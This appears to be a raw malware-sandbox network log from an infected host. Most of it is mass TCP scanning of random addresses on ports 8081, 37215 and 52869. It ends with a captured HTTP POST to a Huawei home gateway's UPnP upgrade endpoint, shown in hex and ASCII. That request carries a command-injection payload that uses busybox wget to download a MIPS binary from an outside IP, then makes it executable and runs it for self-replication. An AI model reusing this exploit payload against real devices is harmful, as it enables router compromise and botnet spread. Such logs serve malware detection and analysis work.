Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 87.2.74.239:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 62.246.141.35:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 108.161.220.248:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 101.118.178.184:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 41.165.86.52:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 19.137.32.67:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 59.233.95.122:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 211.133.203.236:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 137.48.12.242:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 19.237.89.49:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 94.254.55.94:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 186.221.61.150:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 223.60.115.35:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 76.187.66.63:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 208.98.120.253:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 8.108.164.142:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 82.158.248.76:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 221.215.226.16:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 117.229.55.135:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 78.7.103.243:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 109.192.86.200:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 195.181.3.41:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 69.203.218.60:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 164.126.9.99:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 142.129.254.43:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 4.209.97.188:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 202.249.163.83:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 212.214.168.71:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 140.16.184.41:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 96.212.54.227:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 203.245.161.115:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 184.11.149.31:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 158.102.255.174:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 174.136.209.15:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 59.122.183.154:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 114.135.167.195:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 203.38.132.152:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 78.243.69.22:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 174.157.235.161:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 183.94.165.33:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 81.75.231.68:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 41.59.197.107:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 131.89.55.103:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 54.30.127.37:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 212.140.234.181:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 89.97.141.193:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 157.83.56.116:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 60.84.128.91:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 85.98.72.106:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 106.2.91.143:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 171.237.111.175:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 178.225.122.2:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 118.191.128.241:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 190.160.58.243:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 185.0.89.145:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 35.238.165.89:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 8.238.176.84:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 188.187.167.83:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 176.79.122.249:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 13.93.41.107:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 82.62.176.97:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 95.42.189.59:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 211.207.185.31:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 40.162.194.16:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 195.21.191.73:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 207.0.205.171:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 24.118.226.234:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 76.205.198.124:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 113.24.86.35:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 45.249.117.50:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 115.74.94.198:8081
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.246.37.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.16.165.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.141.61.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.227.183.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.36.193.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.122.87.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.71.69.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.161.254.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.124.153.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.174.248.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.98.176.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.49.108.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.195.128.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.187.62.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.79.128.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 122.61.140.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.245.59.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.92.230.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.78.40.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.222.237.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.112.184.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.107.116.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.84.58.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.202.152.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 158.122.212.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 59.239.22.67:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 85.56.119.156:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 123.136.241.119:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 138.125.93.118:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 25.163.107.205:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 89.15.82.148:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 173.64.134.113:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 54.145.210.187:8081
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.165.176.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.203.38.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.129.204.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 119.111.116.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.159.162.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.69.18.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.133.225.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.83.182.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.54.174.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.218.44.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.159.13.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.53.238.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 90.38.163.133:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 65.61.160.164:8081
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.226.182.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.205.73.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.44.153.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 70.103.57.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.41.234.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.198.144.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.13.78.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 23.171.217.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.41.54.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.196.0.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.22.247.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.165.177.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 145.28.75.115:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 35.3.132.9:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 207.156.176.173:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 191.87.191.83:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 147.142.40.59:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 87.162.165.59:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 179.204.168.77:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 141.112.53.45:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 167.178.242.99:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 139.42.233.209:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 2.105.54.168:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 147.96.222.42:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 218.213.179.177:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 170.155.6.243:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 220.68.163.168:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 161.233.163.46:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 160.241.197.51:8081
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.45.25.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.119.32.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.93.68.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.83.59.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.30.15.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.172.76.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 54.175.6.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.141.237.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.218.87.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.63.104.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 23.86.202.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 36.80.25.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.99.188.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.5.89.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 175.85.67.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 71.134.139.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.59.211.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.151.236.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 101.71.112.133:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 34.37.107.29:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 177.133.134.55:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 82.44.225.133:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 31.235.249.101:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 64.117.200.225:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 39.70.52.243:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 82.86.85.182:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 177.26.169.251:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 200.181.183.183:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 198.112.106.164:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 146.178.29.63:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 121.241.252.236:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 68.93.103.227:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 20.43.107.217:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 101.191.129.126:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 162.57.74.72:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 65.188.53.189:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 79.163.220.136:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 211.192.130.220:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 158.178.147.148:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 191.124.131.163:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 66.247.97.52:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 130.69.123.40:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 128.98.160.122:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 170.123.158.68:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 91.209.91.142:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 118.44.218.190:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 112.236.210.206:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 138.222.128.120:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 27.79.119.12:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 13.188.216.17:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 99.58.61.9:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 40.122.199.14:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 160.191.28.144:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 174.69.237.0:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 8.55.90.119:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 93.255.94.157:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 134.76.14.241:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 190.144.135.107:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 165.240.21.199:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 202.140.60.188:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 5.217.173.216:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 220.158.230.42:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 40.180.122.90:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 162.138.211.72:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 59.126.120.18:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 156.230.140.45:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 181.146.224.142:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 180.39.180.182:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 31.90.157.252:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 60.144.29.97:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 116.111.12.206:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 77.164.7.36:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 99.202.52.30:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 213.207.143.98:52869
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.16.152.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.94.204.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.226.152.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.27.36.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.2.29.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.105.45.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.221.166.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 72.184.169.139:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 71.96.116.185:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 196.52.15.30:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 62.62.247.176:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 5.43.253.115:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 54.198.216.131:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 114.173.101.131:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 145.114.175.209:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 154.234.222.130:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 207.107.95.51:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 123.243.178.81:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 65.248.115.141:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 222.15.221.37:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 64.213.179.125:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 206.233.127.191:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 149.86.2.31:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 124.90.204.138:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 157.159.16.125:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 146.126.33.191:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 181.129.237.7:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 194.147.115.196:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 182.207.82.188:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 209.88.50.174:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 37.92.251.97:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 173.77.175.8:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 217.244.72.189:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 41.70.70.158:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 141.224.95.108:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 151.136.169.42:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 49.217.12.33:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 188.64.202.52:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 187.235.69.197:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 64.61.21.55:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 35.91.143.191:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 2.115.51.25:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 47.67.168.49:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 111.86.157.53:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 5.108.28.159:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 117.199.176.147:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 60.68.1.166:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 40.224.141.14:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 188.154.109.67:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 115.118.201.201:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 167.60.40.217:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 65.29.160.70:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 60.154.99.20:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 36.44.157.9:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 19.130.123.151:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 179.90.129.47:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 152.149.61.199:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 85.70.210.244:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 178.57.58.147:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 2.46.59.12:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 169.73.158.246:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 58.141.211.31:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 44.96.234.78:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 74.231.66.1:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 14.68.225.116:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 108.207.129.253:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 147.24.204.167:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 97.182.119.204:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 2.229.175.12:52869
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.88.152.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 207.22.189.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.137.74.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.179.55.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.56.200.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.156.70.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.176.223.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 174.117.157.2:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 72.222.174.251:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 171.144.139.139:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 72.146.47.133:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 173.171.125.50:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 87.85.193.52:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 168.236.58.106:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 209.87.192.88:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 222.151.202.253:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 51.249.121.241:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 90.146.163.93:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 35.112.217.187:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 38.32.235.210:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 36.198.164.211:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 82.116.127.119:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 102.74.231.103:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 181.217.27.35:52869
Source: global traffic	TCP traffic: 192.168.2.14:49909 -> 43.233.86.230:52869
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 92.44.163.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 190.84.44.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.62.252.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.241.51.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.210.119.234:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
